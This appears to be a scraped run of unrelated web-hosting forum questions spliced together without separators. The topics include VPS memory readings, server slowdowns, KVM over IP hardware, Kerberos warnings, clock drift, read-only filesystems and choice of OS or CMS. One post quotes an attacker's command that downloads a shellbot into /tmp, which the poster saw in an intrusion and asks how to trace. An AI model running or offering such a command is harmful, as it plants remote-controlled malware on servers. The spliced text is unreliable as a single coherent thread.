I have noticed a weird thing lately with two VPS accounts. Virtuozzo's system usage meter on the Resources page creeps up to 100% over the course of 24 hours or so and stays there, but stays green and I don't get any QoS alerts. The servers both seem to be running fine, and I haven't had any crashes. One VPS is running a few Wordpress blogs.
The other is running some Joomla sites.
Both are running Virtuozzo on CentOS 4.7 i686 with WHM 11.24.2 and cPanel 11.24.4-R32486.
In the past, when the system usage meter in Virtuozzo got anywhere near 100%, it turned yellow or red, I had sites go down, and all kinds of QoS alerts for privmpages were thrown. It turned out back then that I had a bad PHP script eating tons of memory with too many MySQL queries. That doesn't appear to be the case here, since I'm not having any apparent problems with either server. It seems like a "non-problem" but it has me concerned because I'm used to using that system usage meter in Virtuozzo to keep an eye on the health of the VPS..
When I look at memory used in WHM (WHM->Server Status->Server Status) it shows only 31% used, which is what I used to see in Virtuozzo.
When I run free, I get:
root@server [~]# free total used free shared buffers cached Mem: 524288 133804 390484 0 0 0 -/+ buffers/cache: 133804 390484 Swap: 0 0 0 When I run Free, I get: root@server [~]# Free Memory limit...: 8388604 MB (burstable: 8388604 MB) Current usage..: 120 MB (0%) (requested: 264 MB) Free memory....: 8388484 MB (100%)
Initially, I suspected it was another problem with MySQL, and restarting MySQL does drop the system usage meter down to ~31% in Virtuozzo for a while--without changing the actual memory used on the System Processes page--but the memory usage for MySQL with Virtuozzo pegged is only 6.23% in WHM.
Here's the really weird thing: If I look at Virtuozzo->System Processes it shows only 0.4% (I think they mean 40%) of total memory used, half of which is mysqld and the rest is spamd.
With no sign of problems, it looks like Virtuozzo is incorrectly reporting memory usage in the system usage meter, but correctly in the system processes list.
The web host's response was:
We use SLM for managing VPSes. This enforces your per VPS limits and doesn't let your VPS use more then it should be. It sounds like you guys may have some memory hogs in your applications.
Have you guys considered cutting down some of the unneeded plugins and stuff?
That doesn't make any sense to me given the disparity between the memory usage meter and the amount of memory usage reported in System Processes and with free/Free as well as the lack of QoS alerts, but maybe SLM prevents any alerts? I don't want to let a memory hog run free on my system if one exists.
One of the projects I will work on will require to process 50,000 emails a day. Most of these emails would include attachments and the challenge is to process them and put all the stuff into a database for the application to use.
My biggest concern is spam and we cannot afford to lose out on legitimate emails. One way of configuring the setup would entail checking emails for the specific types of attachments and piping it in.
However I was just wondering if someone here has dealt with this volume of emails and also what are the spam limiting options available (even commercial would do)
I have a few different types of servers, all of which came with their own KVMoIP setup, aka DRAC and iLO which have worked only so so since their deployment. The HP iLO has performed absolutely flawlessly but the DRAC on the other hand has been nothing less than a complete nightmare.
I'm looking for a KVM over IP system that we can connect to multiple servers, mainly Dell, that is 100% reliable and completely stable. Not something that will be giving Java errors randomly when you actually need it to work.
So far I've came across the Raritan Dominion KX II which looks pretty promising. Is there any other KVM over IP systems or manufactures that I should look into? Has anyone used this and can you comment about its reliability?
Recently, my server has been running real slow and I don't know why... I've not noticed any increase in traffic (In fact it goes slow with no traffic on it...), what are some things I can look at to try and diagnose the problem? I know next to nothing about *nix so please speak in great detail.
Anytime I restart Apache, it loads quick for a few seconds then gets slow again...
Here are the top few processes listed on the process manager: .....
I have a VPS acct with Plesk, am peaking out my system ram at 128mb. Host said to allocate ,ore = purchase more. What I would like to do is hunt down where I am using the most of it. I have 8 sites (non that are too big). Most of them are wordpress sites.
Would caching help? Not sure where to look to find this out.
Ive been getting the following System Warning every hour since I set the server up 5 days ago and Google hasn't been a lot of help in tracking down what it means and if I should be concerned. Im hoping someone here can point me in the right direction. Im running Windows 2003 Web Edition.
Quote:
Event Type:Warning Event Source:LSASRV Event Category:SPNEGO (Negotiator) Event ID:40960 Date:3/20/2007 Time:7:45:33 PM User:N/A Computer:B02S08MR Description: The Security System detected an authentication error for the server DNS/ns.ufcom.com. The failure code from authentication protocol Kerberos was "There are currently no logon servers available to service the logon request. (0xc000005e)".
For more information, see Help and Support Center at [url] Data: 0000: 5e 00 00 c0
I keep receiving hacking attempts from someone accessing my server and running commands like these:
Code: hubberfix
sh -c cd /tmp;lwp-download [url] shellbot
I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this.
Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.
There's bloody heaps of them. Which one do I go for on my two new file servers? Which operating system out of these is the most common, has the most support, is most compatible? The server will be used to host videos and will run c-panel. A light weight OS is probably preferred but I really have no idea. And incase it helps, the servers have 512mb of ram, about 30 - 40GB of hDD (not actually sure) and an old AMD Duron.
CentOS Debian Direct Admin Fedora FreeBSD Gentoo LiveCD Redhat Slackware
I just spent over 10 hours on my node configuration (debian etch). I have installed a lot of stuff, made raid1 array, control panel, some tools, rules etc etc etc.
I dont want to see that some day something crash - and I will must start over with everything.
What you guys suggest as backup method, maybe some how-to backup WHOLE system with all files, raid configuration etc.
I dont need incremental backups at all - I just want to save/backup current system, and maybe restore if something bad would happen.
I am planning to start linux hosting but don't have much knowledge about linux Operating system... can I do this without having sufficient knowledge of linux background?
Also please suggest me some good links from where I can get basic linux command and some kind of flash tutorials from which I get to know how to do work in Appache and dns etc.
I have VPS having whm/cpanel base, i also install RT ticket system, it install successfully, same way i did on 5 other server its ok, but on VPS due to apache different configuration it gives me.
You haven't yet configured your webserver to run RT. You appear to have installed RT's web interface correctly, but haven't yet configured your web server to "run" the RT server which powers the web interface. The next step is to edit your webserver's configuration file to instruct it to use RT's mod_perl, FastCGI or SpeedyCGI handler.
I wondered which Content Management System (CMS) is the best for a website? I read that there are many to choose from, examples are Wordpress, Drupal, Joomla etc. Which CMS is more SEO Optimised?
Th website I will be setting up will be of the same genre as the following website startutor.sg. Therefore, I am wondering what CMS to use.
I thought of designing the website using AI or PSD and asked someone to code them (not sure of the terminology used) for me as I don't know anything about CSS, HTML etc.
One of our server's system clock seems to gradually creep away from the correct time. It has been causing us a lot of issues. After one day it becomes more than one hour off. After each minute it becomes a few seconds off.
Any ideas what could be causing this? It's uptime is ~2 months so it doesn't happen when it goes offline, it happens while it is running.
Right now we have a cronjob running ntpdate every few minutes as even with the ntpd service running it would end up off by several minutes when we would check. I have a feeling this isn't a very reliable fix though.
I have brand new server with CentOS 5.3 and latest CentOS kernel (2.6.18-128.1.10.el5PAE).
I have brand new HDDs with no errors (HDDs have only 1000 power-on-hours, server CPU temperature is normal - between 35-42 C). My server went read-only without any reason. I need to fsck main / partition (/home is separated) and it cleaned journal, then server became online.
After 2 weeks it happens again - I did again fsck on / partition and it recovered journal as before. I decided to ask Data Center to replace RAID-1 card and memory - they did it. After 3 weeks server went read-only again.
I ssh into server and saw that kswapd0 process is using 100% cpu and load is over 170.
After fsck it recovered journal on / and server is again available.
I had a linux server (CentOs 5, mysql5, php5, directadmin). I had problems with apache few days ago, that's why i hire sys. admin who tweak the system (install the PAE kernel), and some more configurations, and during last 7-8 days server work w/o any downtime (before this server had 1-2 downtimes per day-> OOM killer.)
Now i had only ssh access (emails, directadmin access - give "wrong password" answer). As told my sys.admin It became read only system.
I cann't even reboot system
Quote:
[root@server sa]# reboot reboot: /usr/local/lib/libpng12.so.0: no version information available (required by /usr/lib/libcairo.so.2)
such few commands work, the most commands that i know don't work
Quote:
[root@server ~]# ls -la ls: error while loading shared libraries: libacl.so.1: cannot open shared object file: No such file or directory
I have a shared host with them for a few months which the disk usage for home/backup is usually around 85-95%. Right now I am experiencing very slow download speed. What about yours?
Server Load 2.92 (8 cpus) Memory Used 42.6 % Swap Used 0.01 % Disk /dev/sdc1 (/home) 91 % Disk /dev/sdd1 (/backup) 90 % Disk /dev/sde1 (/backup/cpbackup/weekly) 43 % Disk /dev/ram0 (/ramdisk) 24 % Disk /dev/sdb1 (/) 22 %
I am wondering if anyone knows of any good system monitors for Linux. I will be installing several web and database servers at a branch office and would like to receive stats like system temperature, cpu load, memory usage, etc. Basically something to tell to warn me in the event of a hardware error. I am looking something with an easy-to-use web interface and ability to generate reports.
I have always used debian on my virtual machine but was just curious as to what OS people use for their hosting?
The company I am looking at moving to for hosting offer the following options: * Debian * Ubuntu Server * Open Suse * Free BSD * Fedora Core * CentOS * Gentoo * Slackware * Windows 2003 Basic * Windows 2003 Pro
I have heard from a lot of people that Freebsd is good for hosting but just wondering what your views are
